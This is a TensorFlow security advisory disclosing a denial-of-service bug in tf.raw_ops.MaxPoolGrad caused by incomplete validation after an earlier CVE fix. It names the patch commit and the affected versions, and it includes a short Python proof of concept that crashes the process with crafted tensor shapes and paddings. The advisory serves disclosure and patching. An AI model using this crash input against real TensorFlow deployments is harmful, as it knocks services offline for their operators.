Incomplete validation in `MaxPoolGrad`
### Impact
An attacker can trigger a denial of service via a segmentation fault in `tf.raw_ops.MaxPoolGrad` caused by missing validation:
```python
import tensorflow as tf
tf.raw_ops.MaxPoolGrad(
orig_input = tf.constant([], shape=[3, 0, 0, 2], dtype=tf.float32),
orig_output = tf.constant([], shape=[3, 0, 0, 2], dtype=tf.float32),
grad = tf.constant([], shape=[3, 0, 0, 2], dtype=tf.float32),
ksize = [1, 16, 16, 1],
strides = [1, 16, 18, 1],
padding = "EXPLICIT",
explicit_paddings = [0, 0, 14, 3, 15, 5, 0, 0])
```
The implementation
https://github.com/tensorflow/tensorflow/blob/460e000de3a83278fb00b61a16d161b1964f15f4/tensorflow/core/kernels/maxpooling_op.cc misses some validation for the `orig_input` and `orig_output` tensors.
The fixes for CVE-2021-29579
https://github.com/tensorflow/tensorflow/blob/master/tensorflow/security/advisory/tfsa-2021-068.md were incomplete.
### Patches
We have patched the issue in GitHub commit 136b51f10903e044308cf77117c0ed9871350475
https://github.com/tensorflow/tensorflow/commit/136b51f10903e044308cf77117c0ed9871350475.
The fix will be included in TensorFlow 2.6.0. We will also cherrypick this commit on TensorFlow 2.5.1, TensorFlow 2.4.3, and TensorFlow 2.3.4, as these are also affected and still in supported range.
### For more information
Please consult our security guide
https://github.com/tensorflow/tensorflow/blob/master/SECURITY.md for more information regarding the security model and how to contact us with issues and questions.
### Attribution
This vulnerability has been reported by Yakun Zhang of Baidu Security.